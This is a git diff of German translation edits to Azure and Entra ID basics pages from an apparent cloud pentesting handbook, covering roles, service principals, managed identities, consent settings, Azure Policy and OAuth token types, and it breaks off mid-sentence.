- Benutzern erlauben, Arbeits- oder Schulkonten mit LinkedIn zu verknüpfen: Standard **Ja** - Benutzer angemeldet halten: Standard **Ja** -- Benutzern die Wiederherstellung des BitLocker-Schlüssels für ihre eigenen Geräte verweigern: Standard Nein (Überprüfung in den Geräteeinstellungen) +- Benutzern die Wiederherstellung des BitLocker-Schlüssels für ihre eigenen Geräte verweigern: Standard **Nein** (Überprüfung in den Geräteeinstellungen) - Andere Benutzer lesen: Standard **Ja** (über Microsoft Graph) - **Gäste** - **Einschränkungen für den Zugriff von Gastbenutzern** -- **Gastbenutzer haben den gleichen Zugriff wie Mitglieder** gewährt allen Mitgliedsbenutzern standardmäßig die Berechtigungen für Gastbenutzer. -- **Gastbenutzer haben eingeschränkten Zugriff auf Eigenschaften und Mitgliedschaften von Verzeichnisobjekten (Standard)** schränkt den Zugriff von Gästen standardmäßig nur auf ihr eigenes Benutzerprofil ein. Der Zugriff auf Informationen anderer Benutzer und Gruppen ist nicht mehr erlaubt. -- **Der Zugriff von Gastbenutzern ist auf Eigenschaften und Mitgliedschaften ihrer eigenen Verzeichnisobjekte beschränkt** ist die restriktivste. +- **Gastbenutzer haben den gleichen Zugriff wie Mitglieder**, gewährt standardmäßig allen Mitgliedsbenutzern Berechtigungen für Gastbenutzer. +- **Gastbenutzer haben eingeschränkten Zugriff auf Eigenschaften und Mitgliedschaften von Verzeichnisobjekten (Standard)**, schränkt den Zugriff von Gästen standardmäßig nur auf ihr eigenes Benutzerprofil ein. Der Zugriff auf Informationen anderer Benutzer und Gruppen ist nicht mehr erlaubt. +- **Der Zugriff von Gastbenutzern ist auf Eigenschaften und Mitgliedschaften ihrer eigenen Verzeichnisobjekte beschränkt**, ist die restriktivste. - **Gäste können einladen** - **Jeder in der Organisation kann Gastbenutzer einladen, einschließlich Gäste und Nicht-Administratoren (am inklusivsten) - Standard** - **Mitglieder und Benutzer, die bestimmten Administrationsrollen zugewiesen sind, können Gastbenutzer einladen, einschließlich Gäste mit Mitgliedsberechtigungen** - **Nur Benutzer, die bestimmten Administrationsrollen zugewiesen sind, können Gastbenutzer einladen** - **Niemand in der Organisation kann Gastbenutzer einladen, einschließlich Administratoren (am restriktivsten)** - **Externe Benutzer verlassen**: Standard **Wahr** -- Externe Benutzer dürfen die Organisation verlassen +- Externen Benutzern erlauben, die Organisation zu verlassen > [!TIP] > Auch wenn standardmäßig eingeschränkt, könnten Benutzer (Mitglieder und Gäste) mit erteilten Berechtigungen die vorherigen Aktionen ausführen. @@ -133,7 +133,7 @@ Es gibt **2 Arten von Mitgliedschaften**: ### **Dienstprinzipale** -Ein **Dienstprinzipal** ist eine **Identität**, die für die **Nutzung** mit **Anwendungen**, gehosteten Diensten und automatisierten Tools zur Zugriff auf Azure-Ressourcen erstellt wurde. Dieser Zugriff ist **durch die zugewiesenen Rollen** für den Dienstprinzipal eingeschränkt, was Ihnen die Kontrolle darüber gibt, **auf welche Ressourcen zugegriffen werden kann** und auf welcher Ebene. Aus Sicherheitsgründen wird immer empfohlen, **Dienstprinzipale mit automatisierten Tools zu verwenden**, anstatt ihnen zu erlauben, sich mit einer Benutzeridentität anzumelden. +Ein **Dienstprinzipal** ist eine **Identität**, die für die **Nutzung** mit **Anwendungen**, gehosteten Diensten und automatisierten Tools zur Zugriff auf Azure-Ressourcen erstellt wurde. Dieser Zugriff ist **durch die zugewiesenen Rollen** des Dienstprinzipals eingeschränkt, was Ihnen die Kontrolle darüber gibt, **auf welche Ressourcen zugegriffen werden kann** und auf welcher Ebene. Aus Sicherheitsgründen wird immer empfohlen, **Dienstprinzipale mit automatisierten Tools zu verwenden**, anstatt ihnen zu erlauben, sich mit einer Benutzeridentität anzumelden. Es ist möglich, sich **direkt als Dienstprinzipal anzumelden**, indem man ihm ein **Geheimnis** (Passwort), ein **Zertifikat** oder **föderierten** Zugriff auf Drittanbieterplattformen (z. B. Github Actions) gewährt. @@ -148,7 +148,7 @@ Eine **App-Registrierung** ist eine Konfiguration, die es einer Anwendung ermög 1. **Anwendungs-ID (Client-ID):** Eine eindeutige Kennung für Ihre App in Azure AD. 2. **Umleitungs-URIs:** URLs, an die Azure AD Authentifizierungsantworten sendet. -3. **Zertifikate, Geheimnisse & Föderierte Anmeldeinformationen:** Es ist möglich, ein Geheimnis oder ein Zertifikat zu generieren, um sich als Dienstprinzipal der Anwendung anzumelden oder um ihr föderierten Zugriff zu gewähren (z. B. Github Actions). +3. **Zertifikate, Geheimnisse & föderierte Anmeldeinformationen:** Es ist möglich, ein Geheimnis oder ein Zertifikat zu generieren, um sich als Dienstprinzipal der Anwendung anzumelden oder um föderierten Zugriff darauf zu gewähren (z. B. Github Actions). 1. Wenn ein **Zertifikat** oder **Geheimnis** generiert wird, ist es einer Person möglich, sich **als Dienstprinzipal** mit CLI-Tools anzumelden, indem sie die **Anwendungs-ID**, das **Geheimnis** oder **Zertifikat** und den **Mandanten** (Domäne oder ID) kennt. 4. **API-Berechtigungen:** Gibt an, auf welche Ressourcen oder APIs die App zugreifen kann. 5. **Authentifizierungseinstellungen:** Definiert die unterstützten Authentifizierungsflüsse der App (z. B. OAuth2, OpenID Connect). @@ -157,47 +157,47 @@ Eine **App-Registrierung** ist eine Konfiguration, die es einer Anwendung ermög ### Standardzustimmungsberechtigungen -**Benutzerzustimmung für Anwendungen** +**Benutzereinwilligung für Anwendungen** -- **Benutzerzustimmung nicht zulassen** +- **Benutzereinwilligung nicht zulassen** - Ein Administrator wird für alle Apps erforderlich sein. -- **Benutzerzustimmung für Apps von verifizierten Herausgebern für ausgewählte Berechtigungen zulassen (Empfohlen)** -- Alle Benutzer können für Berechtigungen zustimmen, die als "geringfügig" eingestuft sind, für Apps von verifizierten Herausgebern oder Apps, die in dieser Organisation registriert sind. +- **Benutzereinwilligung für Apps von verifizierten Herausgebern für ausgewählte Berechtigungen zulassen (Empfohlen)** +- Alle Benutzer können für Berechtigungen, die als "geringfügig" eingestuft sind, für Apps von verifizierten Herausgebern oder Apps, die in dieser Organisation registriert sind, zustimmen. - **Standard** geringfügige Berechtigungen (obwohl Sie zustimmen müssen, um sie als geringfügig hinzuzufügen): -- User.Read - anmelden und Benutzerprofil lesen +- User.Read - Anmelden und Benutzerprofil lesen - offline_access - Zugriff auf Daten aufrechterhalten, auf die Benutzer Zugriff gewährt haben - openid - Benutzer anmelden -- profile - grundlegendes Benutzerprofil anzeigen +- profile - Grundlegendes Benutzerprofil anzeigen - email - E-Mail-Adresse des Benutzers anzeigen -- **Benutzerzustimmung für Apps zulassen (Standard)** +- **Benutzereinwilligung für Apps zulassen (Standard)** - Alle Benutzer können für jede App zustimmen, um auf die Daten der Organisation zuzugreifen. **Anfragen zur Zustimmung des Administrators**: Standard **Nein** -- Benutzer können die Zustimmung des Administrators für Apps anfordern, für die sie nicht zustimmen können -- Wenn **Ja**: Es ist möglich, Benutzer, Gruppen und Rollen anzugeben, die Anfragen zustimmen können -- Konfigurieren Sie auch, ob Benutzer E-Mail-Benachrichtigungen und Ablaufbenachrichtigungen erhalten +- Benutzer können die Zustimmung des Administrators für Apps anfordern, für die sie nicht zustimmen können. +- Wenn **Ja**: Es ist möglich, Benutzer, Gruppen und Rollen anzugeben, die Anfragen zustimmen können. +- Konfigurieren Sie auch, ob Benutzer E-Mail-Benachrichtigungen und Ablaufbenachrichtigungen erhalten. ### **Verwaltete Identität (Metadaten)** -Verwaltete Identitäten in Azure Active Directory bieten eine Lösung zur **automatischen Verwaltung der Identität** von Anwendungen. Diese Identitäten werden von Anwendungen verwendet, um sich mit **Ressourcen** zu verbinden, die mit der Azure Active Directory (**Azure AD**) Authentifizierung kompatibel sind. Dies ermöglicht es, die **Notwendigkeit der Hardcodierung von Cloud-Anmeldeinformationen** im Code zu entfernen, da die Anwendung in der Lage ist, den **Metadaten**-Dienst zu kontaktieren, um ein gültiges Token zu erhalten, um **Aktionen** als die angegebene verwaltete Identität in Azure auszuführen. +Verwaltete Identitäten in Azure Active Directory bieten eine Lösung zur **automatischen Verwaltung der Identität** von Anwendungen. Diese Identitäten werden von Anwendungen verwendet, um sich mit **Ressourcen** zu verbinden, die mit der Azure Active Directory (**Azure AD**) Authentifizierung kompatibel sind. Dies ermöglicht es, die Notwendigkeit, Cloud-Anmeldeinformationen im Code festzulegen, zu **entfernen**, da die Anwendung in der Lage sein wird, den **Metadaten**-Dienst zu kontaktieren, um ein gültiges Token zu **erhalten**, um Aktionen als die angegebene verwaltete Identität in Azure auszuführen. Es gibt zwei Arten von verwalteten Identitäten: -- **Systemzugewiesen**. Einige Azure-Dienste ermöglichen es Ihnen, eine verwaltete Identität direkt auf einer Dienstinstanz **zu aktivieren**. Wenn Sie eine systemzugewiesene verwaltete Identität aktivieren, wird ein **Dienstprinzipal** im Entra ID-Mandanten erstellt, dem das Abonnement, in dem sich die Ressource befindet, vertraut. Wenn die **Ressource** **gelöscht** wird, löscht Azure automatisch die **Identität** für Sie. +- **Systemzugewiesen**. Einige Azure-Dienste ermöglichen es Ihnen, eine verwaltete Identität direkt auf einer Dienstinstanz **zu aktivieren**. Wenn Sie eine systemzugewiesene verwaltete Identität aktivieren, wird ein **Dienstprinzipal** im Entra ID-Mandanten erstellt, der von dem Abonnement, in dem sich die Ressource befindet, vertraut wird. Wenn die **Ressource** **gelöscht** wird, löscht Azure automatisch die **Identität** für Sie. - **Benutzerzugewiesen**. Es ist auch möglich, dass Benutzer verwaltete Identitäten generieren. Diese werden innerhalb einer Ressourcengruppe innerhalb eines Abonnements erstellt, und ein Dienstprinzipal wird im EntraID erstellt, dem das Abonnement vertraut. Dann können Sie die verwaltete Identität einer oder **mehreren Instanzen** eines Azure-Dienstes (mehrere Ressourcen) zuweisen. Bei benutzerzugewiesenen verwalteten Identitäten wird die **Identität separat von den Ressourcen verwaltet, die sie verwenden**. -Verwaltete Identitäten **erzeugen keine ewigen Anmeldeinformationen** (wie Passwörter oder Zertifikate), um auf den daran angehängten Dienstprinzipal zuzugreifen. +Verwaltete Identitäten **erzeugen keine ewigen Anmeldeinformationen** (wie Passwörter oder Zertifikate), um auf den angehängten Dienstprinzipal zuzugreifen. ### Unternehmensanwendungen Es ist einfach eine **Tabelle in Azure, um Dienstprinzipale zu filtern** und die Anwendungen zu überprüfen, die zugewiesen wurden. -**Es ist kein anderer Typ von „Anwendung“,** es gibt kein Objekt in Azure, das eine „Unternehmensanwendung“ ist, es ist nur eine Abstraktion, um die Dienstprinzipale, App-Registrierungen und verwalteten Identitäten zu überprüfen. +**Es ist kein anderer Typ von „Anwendung“**, es gibt kein Objekt in Azure, das eine „Unternehmensanwendung“ ist, es ist nur eine Abstraktion, um die Dienstprinzipale, App-Registrierungen und verwalteten Identitäten zu überprüfen. ### Verwaltungseinheiten -Verwaltungseinheiten ermöglichen es, **Berechtigungen aus einer Rolle über einen bestimmten Teil einer Organisation zu gewähren**. +Verwaltungseinheiten ermöglichen es, **Berechtigungen von einer Rolle über einen bestimmten Teil einer Organisation zu gewähren**. Beispiel: @@ -205,50 +205,50 @@ Beispiel: - Implementierung: - Erstellen Sie Verwaltungseinheiten für jede Region (z. B. "Nordamerika AU", "Europa AU"). - Füllen Sie AUs mit Benutzern aus ihren jeweiligen Regionen. -- AUs können **Benutzer, Gruppen oder Geräte enthalten** -- AUs unterstützen **dynamische Mitgliedschaften** -- AUs **können keine AUs enthalten** -- Administratorrollen zuweisen: -- Gewähren Sie dem regionalen IT-Personal die Rolle "Benutzeradministrator", die auf die AU ihrer Region beschränkt ist. +- AUs können **Benutzer, Gruppen oder Geräte enthalten**. +- AUs unterstützen **dynamische Mitgliedschaften**. +- AUs **können keine AUs enthalten**. +- Zuweisen von Administrationsrollen: +- Gewähren Sie dem regionalen IT-Personal die Rolle „Benutzeradministrator“, die auf die AU ihrer Region beschränkt ist. - Ergebnis: Regionale IT-Administratoren können Benutzerkonten innerhalb ihrer Region verwalten, ohne andere Regionen zu beeinträchtigen. ### Entra ID-Rollen -- Um Entra ID zu verwalten, gibt es einige **integrierte Rollen**, die Entra ID-Prinzipalen zugewiesen werden können, um Entra ID zu verwalten. -- Überprüfen Sie die Rollen in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- Die privilegierteste Rolle ist **Global Administrator** +- Um Entra ID zu verwalten, gibt es einige **vordefinierte Rollen**, die Entra ID-Prinzipalen zugewiesen werden können, um Entra ID zu verwalten. +- Überprüfen Sie die Rollen in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference). +- Die privilegierteste Rolle ist **Global Administrator**. - In der Beschreibung der Rolle sind ihre **detaillierten Berechtigungen** zu sehen. ## Rollen & Berechtigungen **Rollen** werden **Prinzipalen** auf einem **Bereich** zugewiesen: `principal -[HAS ROLE]->(scope)` -**Rollen**, die Gruppen zugewiesen sind, werden von allen **Mitgliedern** der Gruppe **vererbt**. +**Rollen**, die **Gruppen** zugewiesen sind, werden von allen **Mitgliedern** der Gruppe **vererbt**. Je nach dem Bereich, dem die Rolle zugewiesen wurde, kann die **Rolle** auf **andere Ressourcen** innerhalb des Bereichscontainers **vererbt** werden. Zum Beispiel, wenn ein Benutzer A eine **Rolle im Abonnement** hat, hat er diese **Rolle in allen Ressourcengruppen** innerhalb des Abonnements und auf **allen Ressourcen** innerhalb der Ressourcengruppe. ### **Klassische Rollen** -| **Besitzer** |
  • Vollzugriff auf alle Ressourcen
  • Kann den Zugriff für andere Benutzer verwalten
| Alle Ressourcentypen | +| **Besitzer** |
  • Vollzugriff auf alle Ressourcen
  • Kann den Zugriff für andere Benutzer verwalten
| Alle Ressourcentypen | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Mitwirkender** |
  • Vollzugriff auf alle Ressourcen
  • Kann den Zugriff nicht verwalten
| Alle Ressourcentypen | -| **Leser** | • Alle Ressourcen anzeigen | Alle Ressourcentypen | +| **Mitwirkender** |
  • Vollzugriff auf alle Ressourcen
  • Kann den Zugriff nicht verwalten
| Alle Ressourcentypen | +| **Leser** | • Alle Ressourcen anzeigen | Alle Ressourcentypen | | **Benutzerzugriffsadministrator** |
  • Alle Ressourcen anzeigen
  • Kann den Zugriff für andere Benutzer verwalten
| Alle Ressourcentypen | ### Eingebaute Rollen -[Aus den Dokumenten: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure-Rollenbasierte Zugriffskontrolle (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) hat mehrere Azure **eingebaute Rollen**, die Sie **Benutzern, Gruppen, Dienstprinzipalen und verwalteten Identitäten** zuweisen können. Rollenzuweisungen sind der Weg, wie Sie **Zugriff auf Azure-Ressourcen** steuern. Wenn die integrierten Rollen nicht den spezifischen Bedürfnissen Ihrer Organisation entsprechen, können Sie Ihre eigenen [**Azure benutzerdefinierten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** erstellen.** +[Aus den Dokumenten: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure-Rollenbasierte Zugriffskontrolle (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) hat mehrere Azure **vordefinierte Rollen**, die Sie **Benutzern, Gruppen, Dienstprinzipalen und verwalteten Identitäten** zuweisen können. Rollenzuweisungen sind der Weg, wie Sie **Zugriff auf Azure-Ressourcen** steuern. Wenn die vordefinierten Rollen nicht den spezifischen Bedürfnissen Ihrer Organisation entsprechen, können Sie Ihre eigenen [**Azure benutzerdefinierten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** erstellen.** -**Eingebaute** Rollen gelten nur für die **Ressourcen**, für die sie **bestimmt** sind, zum Beispiel überprüfen Sie diese 2 Beispiele für **eingebaute Rollen über Compute**-Ressourcen: +**Vordefinierte** Rollen gelten nur für die **Ressourcen**, für die sie **bestimmt** sind, zum Beispiel überprüfen Sie diese 2 Beispiele für **vordefinierte Rollen über Compute**-Ressourcen: | [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Berechtigt zur Sicherung des Speichervaults, um eine Datensicherung durchzuführen. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | | [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Virtuelle Maschinen im Portal anzeigen und sich als regulärer Benutzer anmelden. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -Diese Rollen können **auch über logische Container** (wie Verwaltungsgruppen, Abonnements und Ressourcengruppen) zugewiesen werden, und die betroffenen Prinzipale haben sie **über die Ressourcen innerhalb dieser Container**. +Diese Rollen können **auch über logische Container** (wie Verwaltungsguppen, Abonnements und Ressourcengruppen) zugewiesen werden, und die betroffenen Prinzipale haben sie **über die Ressourcen innerhalb dieser Container**. -- Finden Sie hier eine Liste mit [**allen Azure eingebauten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Finden Sie hier eine Liste mit [**allen Entra ID eingebauten Rollen**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- Finden Sie hier eine Liste mit [**allen Azure vordefinierten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). +- Finden Sie hier eine Liste mit [**allen Entra ID vordefinierten Rollen**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). ### Benutzerdefinierte Rollen @@ -256,13 +256,13 @@ Diese Rollen können **auch über logische Container** (wie Verwaltungsgruppen, - Sie werden innerhalb eines Bereichs erstellt, obwohl eine Rolle in mehreren Bereichen (Verwaltungsgruppen, Abonnements und Ressourcengruppen) sein kann. - Es ist möglich, alle detaillierten Berechtigungen zu konfigurieren, die die benutzerdefinierte Rolle haben wird. - Es ist möglich, Berechtigungen auszuschließen. -- Ein Prinzipal mit einer ausgeschlossenen Berechtigung kann sie nicht verwenden, auch wenn die Berechtigung anderswo gewährt wird. +- Ein Prinzipal mit einer ausgeschlossenen Berechtigung kann sie nicht verwenden, selbst wenn die Berechtigung anderswo gewährt wird. - Es ist möglich, Platzhalter zu verwenden. - Das verwendete Format ist JSON. - `actions` sind für Kontrollaktionen über die Ressource. - `dataActions` sind Berechtigungen über die Daten innerhalb des Objekts. -Beispiel für JSON-Berechtigungen für eine benutzerdefinierte Rolle: +Beispiel für Berechtigungen JSON für eine benutzerdefinierte Rolle: ```json { "properties": { @@ -294,7 +294,7 @@ Beispiel für JSON-Berechtigungen für eine benutzerdefinierte Rolle: ``` ### Berechtigungsreihenfolge -- Damit ein **Principal Zugriff auf eine Ressource hat**, muss ihm eine explizite Rolle zugewiesen werden (in welcher Form auch immer), **die ihm diese Berechtigung gewährt**. +- Damit ein **Principal Zugriff auf eine Ressource hat**, muss ihm eine explizite Rolle zugewiesen werden, die ihm **diese Berechtigung gewährt**. - Eine explizite **Ablehnungsrollenzuweisung hat Vorrang** vor der Rolle, die die Berechtigung gewährt.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

@@ -303,7 +303,7 @@ Beispiel für JSON-Berechtigungen für eine benutzerdefinierte Rolle: Der globale Administrator ist eine Rolle aus Entra ID, die **vollständige Kontrolle über den Entra ID-Mandanten gewährt**. Standardmäßig gewährt sie jedoch keine Berechtigungen für Azure-Ressourcen. -Benutzer mit der Rolle des globalen Administrators haben die Möglichkeit, sich **zum Benutzerzugriffsadministrator Azure-Rolle in der Root-Management-Gruppe zu "erheben"**. Global Administratoren können den Zugriff in **allen Azure-Abonnements und Managementgruppen verwalten.**\ +Benutzer mit der Rolle des globalen Administrators haben die Möglichkeit, sich **zum Benutzerzugriffsadministrator-Rolle in der Root-Management-Gruppe zu 'erheben'**. So können globale Administratoren den Zugriff in **allen Azure-Abonnements und Managementgruppen verwalten.**\ Diese Erhöhung kann am Ende der Seite durchgeführt werden: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
@@ -318,15 +318,15 @@ Azure-Richtlinien sind **proaktiv**: Sie können die Erstellung oder Änderung v 1. **Richtliniendefinition**: Eine Regel, die in JSON geschrieben ist und angibt, was erlaubt oder erforderlich ist. 2. **Richtlinienzuweisung**: Die Anwendung einer Richtlinie auf einen bestimmten Geltungsbereich (z. B. Abonnement, Ressourcengruppe). -3. **Initiativen**: Eine Sammlung von Richtlinien, die zusammengefasst sind, um eine breitere Durchsetzung zu ermöglichen. +3. **Initiativen**: Eine Sammlung von Richtlinien, die für eine breitere Durchsetzung zusammengefasst sind. 4. **Wirkung**: Gibt an, was passiert, wenn die Richtlinie ausgelöst wird (z. B. "Ablehnen", "Überprüfen" oder "Anhängen"). **Einige Beispiele:** -1. **Sicherstellen der Einhaltung bestimmter Azure-Regionen**: Diese Richtlinie stellt sicher, dass alle Ressourcen in bestimmten Azure-Regionen bereitgestellt werden. Zum Beispiel möchte ein Unternehmen sicherstellen, dass alle seine Daten in Europa für die Einhaltung der DSGVO gespeichert werden. +1. **Sicherstellung der Einhaltung bestimmter Azure-Regionen**: Diese Richtlinie stellt sicher, dass alle Ressourcen in bestimmten Azure-Regionen bereitgestellt werden. Zum Beispiel möchte ein Unternehmen sicherstellen, dass alle seine Daten in Europa für die Einhaltung der DSGVO gespeichert werden. 2. **Durchsetzung von Namensstandards**: Richtlinien können Namenskonventionen für Azure-Ressourcen durchsetzen. Dies hilft bei der Organisation und der einfachen Identifizierung von Ressourcen anhand ihrer Namen, was in großen Umgebungen hilfreich ist. 3. **Einschränkung bestimmter Ressourcentypen**: Diese Richtlinie kann die Erstellung bestimmter Ressourcentypen einschränken. Zum Beispiel könnte eine Richtlinie festgelegt werden, um die Erstellung teurer Ressourcentypen, wie bestimmter VM-Größen, zur Kostenkontrolle zu verhindern. -4. **Durchsetzung von Tagging-Richtlinien**: Tags sind Schlüssel-Wert-Paare, die mit Azure-Ressourcen verknüpft sind und für das Ressourcenmanagement verwendet werden. Richtlinien können durchsetzen, dass bestimmte Tags vorhanden sein müssen oder spezifische Werte haben müssen, für alle Ressourcen. Dies ist nützlich für die Kostenverfolgung, den Besitz oder die Kategorisierung von Ressourcen. +4. **Durchsetzung von Tagging-Richtlinien**: Tags sind Schlüssel-Wert-Paare, die mit Azure-Ressourcen verknüpft sind und für das Ressourcenmanagement verwendet werden. Richtlinien können durchsetzen, dass bestimmte Tags vorhanden sein müssen oder spezifische Werte haben, für alle Ressourcen. Dies ist nützlich für die Kostenverfolgung, den Besitz oder die Kategorisierung von Ressourcen. 5. **Einschränkung des öffentlichen Zugriffs auf Ressourcen**: Richtlinien können durchsetzen, dass bestimmte Ressourcen, wie Speicherkonten oder Datenbanken, keine öffentlichen Endpunkte haben, um sicherzustellen, dass sie nur innerhalb des Netzwerks der Organisation zugänglich sind. 6. **Automatisches Anwenden von Sicherheitseinstellungen**: Richtlinien können verwendet werden, um automatisch Sicherheitseinstellungen auf Ressourcen anzuwenden, wie das Anwenden einer bestimmten Netzwerksicherheitsgruppe auf alle VMs oder das Sicherstellen, dass alle Speicherkonten Verschlüsselung verwenden. @@ -352,7 +352,7 @@ Azure-Richtlinien JSON-Beispiel: ``` ### Berechtigungsübertragung -In Azure **können Berechtigungen auf jeden Teil der Hierarchie zugewiesen werden**. Dazu gehören Verwaltungseinheiten, Abonnements, Ressourcengruppen und einzelne Ressourcen. Berechtigungen werden von enthaltenen **Ressourcen** der Entität, wo sie zugewiesen wurden, **vererbt**. +In Azure **können Berechtigungen jedem Teil der Hierarchie zugewiesen werden**. Dazu gehören Verwaltungseinheiten, Abonnements, Ressourcengruppen und einzelne Ressourcen. Berechtigungen werden von enthaltenen **Ressourcen** der Entität, wo sie zugewiesen wurden, **vererbt**. Diese hierarchische Struktur ermöglicht eine effiziente und skalierbare Verwaltung von Zugriffsberechtigungen. @@ -360,10 +360,10 @@ Diese hierarchische Struktur ermöglicht eine effiziente und skalierbare Verwalt ### Azure RBAC vs ABAC -**RBAC** (rollenbasierte Zugriffskontrolle) ist das, was wir bereits in den vorherigen Abschnitten gesehen haben: **Zuweisen einer Rolle an ein Subjekt, um ihm Zugriff** auf eine Ressource zu gewähren.\ +**RBAC** (rollenbasierte Zugriffskontrolle) ist das, was wir bereits in den vorherigen Abschnitten gesehen haben: **Zuweisung einer Rolle an ein Subjekt, um ihm Zugriff** auf eine Ressource zu gewähren.\ In einigen Fällen möchten Sie jedoch möglicherweise **feinere Zugriffsverwaltung** bereitstellen oder die Verwaltung von **Hunderte** von Rollen **zuweisungen** **vereinfachen**. -Azure **ABAC** (attributbasierte Zugriffskontrolle) baut auf Azure RBAC auf, indem es **Rollen zuweisungsbedingungen basierend auf Attributen** im Kontext spezifischer Aktionen hinzufügt. Eine _Rollen zuweisungsbedingung_ ist eine **zusätzliche Überprüfung, die Sie optional zu Ihrer Rollen zuweisung hinzufügen können**, um eine feinere Zugriffskontrolle zu bieten. Eine Bedingung filtert die Berechtigungen, die als Teil der Rollendefinition und der Rollen zuweisung gewährt werden. Zum Beispiel können Sie **eine Bedingung hinzufügen, die erfordert, dass ein Objekt ein bestimmtes Tag hat, um das Objekt zu lesen**.\ +Azure **ABAC** (attributbasierte Zugriffskontrolle) baut auf Azure RBAC auf, indem es **Bedingungen für die Rollen zuweisung basierend auf Attributen** im Kontext spezifischer Aktionen hinzufügt. Eine _Bedingung für die Rollen zuweisung_ ist eine **zusätzliche Überprüfung, die Sie optional zu Ihrer Rollen zuweisung hinzufügen können**, um eine feinere Zugriffskontrolle zu bieten. Eine Bedingung filtert die Berechtigungen, die als Teil der Rollendefinition und der Rollen zuweisung gewährt werden. Zum Beispiel können Sie **eine Bedingung hinzufügen, die erfordert, dass ein Objekt ein bestimmtes Tag hat, um das Objekt zu lesen**.\ Sie **können** den **Zugriff** auf spezifische Ressourcen **nicht** ausdrücklich **verweigern** **mit Bedingungen**. ## Referenzen diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 84a35174c..01e874775 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -4,7 +4,7 @@ ## Grundlegende Informationen -Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagementplattform (IAM) von Microsoft und dient als grundlegendes Authentifizierungs- und Autorisierungssystem für Dienste wie Microsoft 365 und Azure Resource Manager. Azure AD implementiert das OAuth 2.0-Autorisierungsframework und das OpenID Connect (OIDC)-Authentifizierungsprotokoll zur Verwaltung des Zugriffs auf Ressourcen. +Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagement (IAM) Plattform von Microsoft und dient als grundlegendes Authentifizierungs- und Autorisierungssystem für Dienste wie Microsoft 365 und Azure Resource Manager. Azure AD implementiert das OAuth 2.0 Autorisierungsframework und das OpenID Connect (OIDC) Authentifizierungsprotokoll zur Verwaltung des Zugriffs auf Ressourcen. ### OAuth @@ -22,7 +22,7 @@ Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagementplattform (IAM **Integration von Microsoft 365:** -- Microsoft 365 nutzt Azure AD für IAM und besteht aus mehreren "First-Party"-OAuth-Anwendungen. +- Microsoft 365 nutzt Azure AD für IAM und besteht aus mehreren "First-Party" OAuth-Anwendungen. - Diese Anwendungen sind tief integriert und haben oft voneinander abhängige Dienstbeziehungen. - Um die Benutzererfahrung zu vereinfachen und die Funktionalität aufrechtzuerhalten, gewährt Microsoft diesen First-Party-Anwendungen "implizite Zustimmung" oder "Vorab-Zustimmung". - **Implizite Zustimmung:** Bestimmte Anwendungen erhalten automatisch **Zugriff auf spezifische Scopes ohne ausdrückliche Genehmigung des Benutzers oder Administrators**. @@ -42,10 +42,10 @@ Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagementplattform (IAM Es gibt **drei Arten von Tokens**, die in OIDC verwendet werden: -- [**Zugriffstoken**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Der Client präsentiert dieses Token dem Ressourcenserver, um **auf Ressourcen zuzugreifen**. Es kann nur für eine spezifische Kombination aus Benutzer, Client und Ressource verwendet werden und **kann nicht widerrufen** werden, bis es abläuft - das ist standardmäßig 1 Stunde. +- [**Zugriffstoken**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Der Client präsentiert dieses Token dem Ressourcenserver, um **auf Ressourcen zuzugreifen**. Es kann nur für eine spezifische Kombination aus Benutzer, Client und Ressource verwendet werden und **kann bis zum Ablauf nicht widerrufen werden** - das sind standardmäßig 1 Stunde. - **ID-Tokens**: Der Client erhält dieses **Token vom Autorisierungsserver**. Es enthält grundlegende Informationen über den Benutzer. Es ist **an eine spezifische Kombination aus Benutzer und Client gebunden**. -- **Aktualisierungstoken**: Werden dem Client mit dem Zugriffstoken bereitgestellt. Wird verwendet, um **neue Zugriffs- und ID-Tokens zu erhalten**. Es ist an eine spezifische Kombination aus Benutzer und Client gebunden und kann widerrufen werden. Die Standardablaufzeit beträgt **90 Tage** für inaktive Aktualisierungstoken und **keine Ablaufzeit für aktive Tokens** (es ist möglich, aus einem Aktualisierungstoken neue Aktualisierungstoken zu erhalten). -- Ein Aktualisierungstoken sollte an ein **`aud`**, an einige **Scopes** und an einen **Mandanten** gebunden sein und sollte nur in der Lage sein, Zugriffstoken für dieses aud, diese 